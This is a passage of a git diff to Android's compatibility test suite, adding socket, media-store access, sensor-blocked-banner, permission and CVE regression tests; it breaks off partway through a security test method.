clientSocket.setSendBufferSize(100); + final int bufferSize = clientSocket.getSendBufferSize(); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> writer = () -> { + try { + byte[] toWrite = new byte[bufferSize * 2]; + clientSocket.getOutputStream().write(toWrite); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + + Result result = runInSeparateThread(allowedTime, writer); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + public void testAvailable() throws Exception { + String address = ADDRESS_PREFIX + "_testAvailable"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + assertEquals(0, serverInputStream.available()); + + byte[] buffer = new byte[50]; + clientOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + InputStream clientInputStream = clientSocket.getInputStream(); + OutputStream serverOutputStream = serverSocket.getOutputStream(); + assertEquals(0, clientInputStream.available()); + serverOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + serverSocket.close(); + } + } + + // http://b/34095140 + public void testLocalSocketCreatedFromFileDescriptor() throws Exception { + String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor"; + + // Establish connection between a local client and server to get a valid client socket file + // descriptor. + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + // Extract the client FileDescriptor we can use. + FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor(); + assertTrue(fileDescriptor.valid()); + + // Create the LocalSocket we want to test. + LocalSocket clientSocketCreatedFromFileDescriptor = + LocalSocket.createConnectedLocalSocket(fileDescriptor); + assertTrue(clientSocketCreatedFromFileDescriptor.isConnected()); + assertTrue(clientSocketCreatedFromFileDescriptor.isBound()); + + // Test the LocalSocket can be used for communication. + LocalSocket serverSocket = socketPair.serverSocket.accept(); + OutputStream clientOutputStream = + clientSocketCreatedFromFileDescriptor.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + + clientOutputStream.write(12); + assertEquals(12, serverInputStream.read()); + + // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor. + clientSocketCreatedFromFileDescriptor.close(); + assertTrue(fileDescriptor.valid()); + + // .. while closing the LocalSocket that owned the file descriptor does. + socketPair.clientSocket.close(); + assertFalse(fileDescriptor.valid()); + } + } + + public void testFlush() throws Exception { + String address = ADDRESS_PREFIX + "_testFlush"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + testFlushWorks(clientOutputStream, serverInputStream); + + OutputStream serverOutputStream = serverSocket.getOutputStream(); + InputStream clientInputStream = clientSocket.getInputStream(); + testFlushWorks(serverOutputStream, clientInputStream); + + serverSocket.close(); + } + } + + private void testFlushWorks(OutputStream outputStream, InputStream inputStream) + throws Exception { + final int bytesToTransfer = 50; + StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer); + + byte[] buffer = new byte[bytesToTransfer]; + outputStream.write(buffer); + assertEquals(bytesToTransfer, inputStream.available()); + + // Start consuming the data. + inputStreamReader.start(); + + // This doesn't actually flush any buffers, it just polls until the reader has read all the + // bytes. + outputStream.flush(); + + inputStreamReader.waitForCompletion(5000); + inputStreamReader.assertBytesRead(bytesToTransfer); + assertEquals(0, inputStream.available()); + } + + private static class StreamReader extends Thread { + private final InputStream is; + private final int expectedByteCount; + private final CountDownLatch completeLatch = new CountDownLatch(1); + + private volatile Exception exception; + private int bytesRead; + + private StreamReader(InputStream is, int expectedByteCount) { + this.is = is; + this.expectedByteCount = expectedByteCount; + } + + @Override + public void run() { + try { + byte[] buffer = new byte[10]; + int readCount; + while ((readCount = is.read(buffer)) >= 0) { + bytesRead += readCount; + if (bytesRead >= expectedByteCount) { + break; + } + } + } catch (IOException e) { + exception = e; + } finally { + completeLatch.countDown(); + } + } + + public void waitForCompletion(long waitMillis) throws Exception { + if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) { + fail("Timeout waiting for completion"); + } + if (exception != null) { + throw new Exception("Read failed", exception); + } + } + + public void assertBytesRead(int expected) { + assertEquals(expected, bytesRead); + } + } + + private static class Result { + private final String type; + private final Exception e; + + private Result(String type, Exception e) { + this.type = type; + this.e = e; + } + + static Result noException(String description) { + return new Result(description, null); + } + + static Result exception(Exception e) { + return new Result(e.getClass().getName(), e); + } + + void assertThrewIOException(String expectedMessage) { + assertEquals("Unexpected result type", IOException.class.getName(), type); + assertEquals("Unexpected exception message", expectedMessage, e.getMessage()); + } + } + + private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable) + throws Exception { + ExecutorService service = Executors.newSingleThreadScheduledExecutor(); + Future<Result> future = service.submit(callable); + Result result = future.get(allowedTime, TimeUnit.MILLISECONDS); + if (!future.isDone()) { + fail("Worker thread appears blocked"); + } + return result; + } + + private static class LocalSocketPair implements AutoCloseable { + static LocalSocketPair createConnectedSocketPair(String address) throws Exception { + LocalServerSocket localServerSocket = new LocalServerSocket(address); + final LocalSocket clientSocket = new LocalSocket(); + + // Establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + return new LocalSocketPair(localServerSocket, clientSocket); + } + + final LocalServerSocket serverSocket; + final LocalSocket clientSocket; + + LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) { + this.serverSocket = serverSocket; + this.clientSocket = clientSocket; + } + + public void close() throws Exception { + serverSocket.close(); + clientSocket.close(); + } + } +} diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml index 2f1f791d9d8..a14df70d71b 100644 --- a/tests/providerui/AndroidManifest.xml +++ b/tests/providerui/AndroidManifest.xml @@ -23,9 +23,7 @@ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> - <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> - <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WRITE_SETTINGS" /> <!-- @@ -42,7 +40,7 @@ </intent> </queries> - <application android:requestLegacyExternalStorage = "true"> + <application> <uses-library android:name="android.test.runner"/> <activity android:name="android.providerui.cts.GetResultActivity" /> diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java index 4342810763c..47fe16104d4 100644 --- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java +++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java @@ -26,12 +26,12 @@ import android.app.Activity; import android.app.Instrumentation; import android.app.UiAutomation; import android.content.ContentResolver; +import android.content.ContentUris; import android.content.Context; import android.content.Intent; import android.content.UriPermission; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; -import android.content.res.AssetFileDescriptor; import android.database.Cursor; import android.net.Uri; import android.os.Environment; @@ -39,7 +39,6 @@ import android.os.FileUtils; import android.os.ParcelFileDescriptor; import android.os.storage.StorageManager; import android.os.storage.StorageVolume; -import android.os.UserManager; import android.provider.DocumentsContract; import android.provider.MediaStore; import android.provider.cts.ProviderTestUtils; @@ -50,12 +49,12 @@ import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject; import android.support.test.uiautomator.UiObject2; import android.support.test.uiautomator.UiObjectNotFoundException; -import android.support.test.uiautomator.UiScrollable; import android.support.test.uiautomator.UiSelector; import android.support.test.uiautomator.Until; import android.system.Os; import android.text.format.DateUtils; import android.util.Log; +import android.util.Pair; import androidx.test.InstrumentationRegistry; @@ -68,6 +67,7 @@ import org.junit.runners.Parameterized.Parameter; import org.junit.runners.Parameterized.Parameters; import java.io.BufferedReader; +import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; @@ -171,7 +171,7 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception { + public void testGetDocumentUri_throwsWithoutPermission() throws Exception { if (!supportsHardware()) return; prepareFile(); @@ -185,7 +185,7 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception { + public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception { if (!supportsHardware()) return; prepareFile(); @@ -207,10 +207,10 @@ public class MediaStoreUiTest { } @Test - public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception { + public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception { if (!supportsHardware()) return; - prepareFile(); + prepareFile("TEST"); clearDocumentsUi(); final Intent intent = new Intent(); intent.setAction(Intent.ACTION_OPEN_DOCUMENT); @@ -228,6 +228,104 @@ public class MediaStoreUiTest { assertAccessToMediaUri(mediaUri, mFile); } + @Test + public void testOpenFile_onMediaDocumentsProvider_success() throws Exception { + if (!supportsHardware()) return; + + final String rawText = "TEST"; + // Stage a text file which contains raw text "TEST" + prepareFile(rawText); + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + findDocument(mFile.getName()).click(); + final Result result = mActivity.getResult(); + final Uri uri = result.data.getData(); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority()); + + // Test reading + final byte[] expected = rawText.getBytes(); + final byte[] actual = new byte[4]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), actual, 0, actual.length); + assertArrayEquals(expected, actual); + } + + // Test write and read after it + final byte[] writtenText = "Hello World".getBytes(); + final byte[] readText = new byte[11]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "wt")) { + Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length); + } + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), readText, 0, readText.length); + assertArrayEquals(writtenText, readText); + } + } + + @Test + public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception { + if (!supportsHardware()) return; + + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + String rawText = "TEST"; + // Read and write grants will be provided to the file associated with this pair. + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithGrants = prepareFileAndFetchDetails(rawText); + // Read and write grants will not be provided to the file associated with this pair + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithoutGrants = prepareFileAndFetchDetails(rawText); + // Get access grants + findDocument(uriFilePairWithGrants.second.getName()).click(); + final Result result = mActivity.getResult(); + final Uri docUriOfFileWithAccess = result.data.getData(); + // Creating doc URI for file by string replacement + Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll( + String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)), + String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first)))); + + try { + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority()); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, + docUriOfFileWithoutAccess.getAuthority()); + // Test reading + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "r")) { + fail("Expecting security exception as file does not have read grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have read grants + } + // Test writing + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "wt")) { + fail("Expecting security exception as file does not have write grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have write grants + } + } finally { + // Deleting files + uriFilePairWithGrants.second.delete(); + uriFilePairWithoutGrants.second.delete(); + } + } + private void assertAccessToMediaUri(Uri mediaUri, File file) { final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME}; try (Cursor c = mContext.getContentResolver().query( @@ -320,6 +418,28 @@ public class MediaStoreUiTest { Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); } + private void prepareFile(String rawText) throws Exception { + final File dir = new File(getVolumePath(mVolumeName), + Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + mFile = stageFileWithRawText(rawText, file); + mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile); + + Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); + } + + private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception { + final File dir = new File(getVolumePath(mVolumeName), Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + File stagedFile = stageFileWithRawText(rawText, file); + + Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile); + Log.v(TAG, "Staged " + stagedFile + " as " + uri); + return Pair.create(uri, stagedFile); + } + private void assertToolbarTitleEquals(String targetPackageName, String label) throws UiObjectNotFoundException { final UiSelector toolbarUiSelector = new UiSelector().resourceId( @@ -427,32 +547,28 @@ public class MediaStoreUiTest { // The caller may be trying to stage into a location only available to // the shell user, so we need to perform the entire copy as the shell final Context context = InstrumentationRegistry.getTargetContext(); - UserManager userManager = context.getSystemService(UserManager.class); - if (userManager.isSystemUser() && - FileUtils.contains(Environment.getStorageDirectory(), file)) { - executeShellCommand("mkdir -p " + file.getParent()); - - try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) { - final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor()); - final long skip = afd.getStartOffset(); - final long count = afd.getLength(); - - executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s", - source.getAbsolutePath(), skip, count, file.getAbsolutePath())); + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = context.getResources().openRawResource(resId); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); + } + return file; + } - // Force sync to try updating other views - executeShellCommand("sync"); - } - } else { - final File dir = file.getParentFile(); - dir.mkdirs(); - if (!dir.exists()) { - throw new FileNotFoundException("Failed to create parent for " + file); - } - try (InputStream source = context.getResources().openRawResource(resId); - OutputStream target = new FileOutputStream(file)) { - FileUtils.copy(source, target); - } + static File stageFileWithRawText(String rawText, File file) throws IOException { + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = new ByteArrayInputStream( + rawText.getBytes(StandardCharsets.UTF_8)); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); } return file; } diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp index 4fd9b5152d3..e249fe342da 100644 --- a/tests/tests/permission3/Android.bp +++ b/tests/tests/permission3/Android.bp @@ -47,6 +47,7 @@ android_test { ":CtsUsePermissionApp30", ":CtsUsePermissionApp30WithBackground", ":CtsUsePermissionApp30WithBluetooth", + ":CtsUsePermissionApp31", ":CtsUsePermissionAppLatest", ":CtsUsePermissionAppLatestNone", ":CtsUsePermissionAppWithOverlay", diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml index 1536d580229..2342b6a4530 100644 --- a/tests/tests/permission3/AndroidTest.xml +++ b/tests/tests/permission3/AndroidTest.xml @@ -54,6 +54,7 @@ <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" /> <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" /> <option name="push" value="CtsUsePermissionApp30WithBluetooth.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBluetooth.apk" /> + <option name="push" value="CtsUsePermissionApp31.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp31.apk" /> <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" /> <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" /> <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" /> diff --git a/tests/tests/permission3/UsePermissionApp31/Android.bp b/tests/tests/permission3/UsePermissionApp31/Android.bp new file mode 100644 index 00000000000..48a2d4fa901 --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/Android.bp @@ -0,0 +1,32 @@ +// +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CtsUsePermissionApp31", + srcs: [ + ":CtsUsePermissionAppSrc", + ], + static_libs: [ + "kotlin-stdlib", + ], + certificate: ":cts-testkey2", + target_sdk_version: "31", + min_sdk_version: "31", +} diff --git a/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml new file mode 100644 index 00000000000..f6d9b29221b --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> +<manifest + xmlns:android="http://schemas.android.com/apk/res/android" + package="android.permission3.cts.usepermission"> + <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> + <uses-permission android:name="android.permission.RECORD_AUDIO" /> + <uses-permission android:name="android.permission.CAMERA" /> + <application> + <activity android:name=".CheckCalendarAccessActivity" android:exported="true" /> + <activity android:name=".FinishOnCreateActivity" android:exported="true" /> + <activity android:name=".RequestPermissionsActivity" android:exported="true" /> + </application> +</manifest> diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt index 901cc3504ac..49646f4fe18 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt @@ -158,6 +158,10 @@ abstract class BasePermissionTest { waitForIdle() } + protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) { + click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis) + } + protected fun pressBack() { uiDevice.pressBack() waitForIdle() diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt index 78675bd740e..6c69a6522ac 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt @@ -52,6 +52,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk" const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk" const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk" + const val APP_APK_PATH_31 = "$APK_DIRECTORY/CtsUsePermissionApp31.apk" + const val APP_APK_PATH_30_WITH_BACKGROUND = "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk" const val APP_APK_PATH_30_WITH_BLUETOOTH = @@ -449,7 +451,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { if (isWatch) { click(By.text(permissionLabel), 40_000) } else { - click(By.text(permissionLabel)) + clickPermissionControllerUi(By.text(permissionLabel)) } val wasGranted = if (isAutomotive) { diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt new file mode 100644 index 00000000000..37e9d41fe5c --- /dev/null +++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt @@ -0,0 +1,156 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.permission3.cts + +import android.content.Intent +import android.hardware.SensorPrivacyManager +import android.hardware.SensorPrivacyManager.Sensors.CAMERA +import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE +import android.location.LocationManager +import android.os.Build +import android.provider.DeviceConfig +import android.provider.Settings +import android.support.test.uiautomator.By +import androidx.test.filters.SdkSuppress +import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity +import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity +import org.junit.After +import org.junit.Assume +import org.junit.Before +import org.junit.Test + +/** + * Banner card display tests on sensors being blocked + */ +@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) +class SensorBlockedBannerTest : BaseUsePermissionTest() { + companion object { + const val LOCATION = -1 + const val WARNING_BANNER_ENABLED = "warning_banner_enabled" + } + + val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!! + val locationManager = context.getSystemService(LocationManager::class.java)!! + private val originalEnabledValue = callWithShellPermissionIdentity { + DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, false.toString()) + } + + private val permToLabel = mapOf(CAMERA to "privdash_label_camera", + MICROPHONE to "privdash_label_microphone", + LOCATION to "privdash_label_location") + + private val permToTitle = mapOf(CAMERA to "blocked_camera_title", + MICROPHONE to "blocked_microphone_title", + LOCATION to "blocked_location_title") + + @Before + fun setup() { + Assume.assumeFalse(isTv) + // TODO(b/203784852) Auto will eventually support the blocked sensor banner, but there won't + // be support in T or below + Assume.assumeFalse(isAutomotive) + installPackage(APP_APK_PATH_31) + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, true.toString(), false) + } + } + + @After + fun restoreWarningBannerState() { + runWithShellPermissionIdentity { + DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, originalEnabledValue, false) + } + } + + private fun navigateAndTest(sensor: Int) { + val permLabel = permToLabel.getOrDefault(sensor, "Break") + val intent = Intent(Settings.ACTION_PRIVACY_SETTINGS) + .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + context.startActivity(intent) + click(By.text(getPermissionControllerString("app_permission_manager"))) + click(By.text(getPermissionControllerString(permLabel))) + val bannerTitle = permToTitle.getOrDefault(sensor, "Break") + waitFindObject(By.text(getPermissionControllerString(bannerTitle))) + pressBack() + pressBack() + pressBack() + } + + private fun runSensorTest(sensor: Int) { + val blocked = isSensorPrivacyEnabled(sensor) + if (!blocked) { + setSensor(sensor, true) + } + navigateAndTest(sensor) + if (!blocked) { + setSensor(sensor, false) + } + } + + @Test + fun testCameraCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA)) + runSensorTest(CAMERA) + } + + @Test + fun testMicCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(MICROPHONE)) + runSensorTest(MICROPHONE) + } + + @Test + fun testLocationCardDisplayed() { + runSensorTest(LOCATION) + } + + private fun setSensor(sensor: Int, enable: Boolean) { + if (sensor == LOCATION) { + runWithShellPermissionIdentity { + locationManager.setLocationEnabledForUser(!enable, + android.os.Process.myUserHandle()) + if (enable) { + try { + waitFindObjectOrNull(By.text("CLOSE"))?.click() + } catch (e: Exception) { + // Do nothing, warning didn't show up so test can proceed + } + } + } + } else { + runWithShellPermissionIdentity { + sensorPrivacyManager.setSensorPrivacy(SensorPrivacyManager.Sources.OTHER, + sensor, enable) + } + } + } + + private fun isSensorPrivacyEnabled(sensor: Int): Boolean { + return if (sensor == LOCATION) { + callWithShellPermissionIdentity { + !locationManager.isLocationEnabled() + } + } else { + callWithShellPermissionIdentity { + sensorPrivacyManager.isSensorPrivacyEnabled(sensor) + } + } + } +} diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 5838d27729b..b82b188f2b1 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -33,6 +33,7 @@ android_test { "compatibility-common-util-devicesidelib", "guava", "platform-test-annotations", + "sts-device-util", "hamcrest-library", ], libs: [ @@ -60,6 +61,7 @@ android_test { "src/**/*.java", "src/**/*.kt", "src/android/security/cts/activity/ISecureRandomService.aidl", + "aidl/android/security/cts/IBitmapService.aidl", "aidl/android/security/cts/IIsolatedService.aidl", "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl", ], diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 17aa9e8f345..e43d6aa0750 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -48,6 +48,10 @@ <service android:name="android.security.cts.activity.SecureRandomService" android:process=":secureRandom"/> + + <service android:name="android.security.cts.BitmapService" + android:process=":bitmap_service" /> + <activity android:name="android.security.cts.MotionEventTestActivity" android:label="Test MotionEvent" android:exported="true"> diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl new file mode 100644 index 00000000000..b9694c32af7 --- /dev/null +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -0,0 +1,25 @@ +/* + * Copyright 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +parcelable BitmapWrapper; + +interface IBitmapService { + int getAllocationSize(in BitmapWrapper bitmap); + boolean didReceiveBitmap(in BitmapWrapper bitmap); + boolean ping(); +} diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java new file mode 100644 index 00000000000..80ffd60eb7e --- /dev/null +++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.content.AttributionSource; +import android.content.Context; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.core.app.ApplicationProvider; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Assume; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.Assert; + +import java.lang.reflect.Field; + +@RunWith(AndroidJUnit4.class) +public class AttributionSourceTest { + + @AsbSecurityTest(cveBugId = 200288596) + @Test + public void testPidCheck() + throws Exception { + Context context = ApplicationProvider.getApplicationContext(); + AttributionSource attributionSource = null; + Field attSourceStateField = null; + try { + attributionSource = (AttributionSource) Context.class.getMethod( + "getAttributionSource").invoke(context); + attSourceStateField = attributionSource.getClass().getDeclaredField( + "mAttributionSourceState"); + 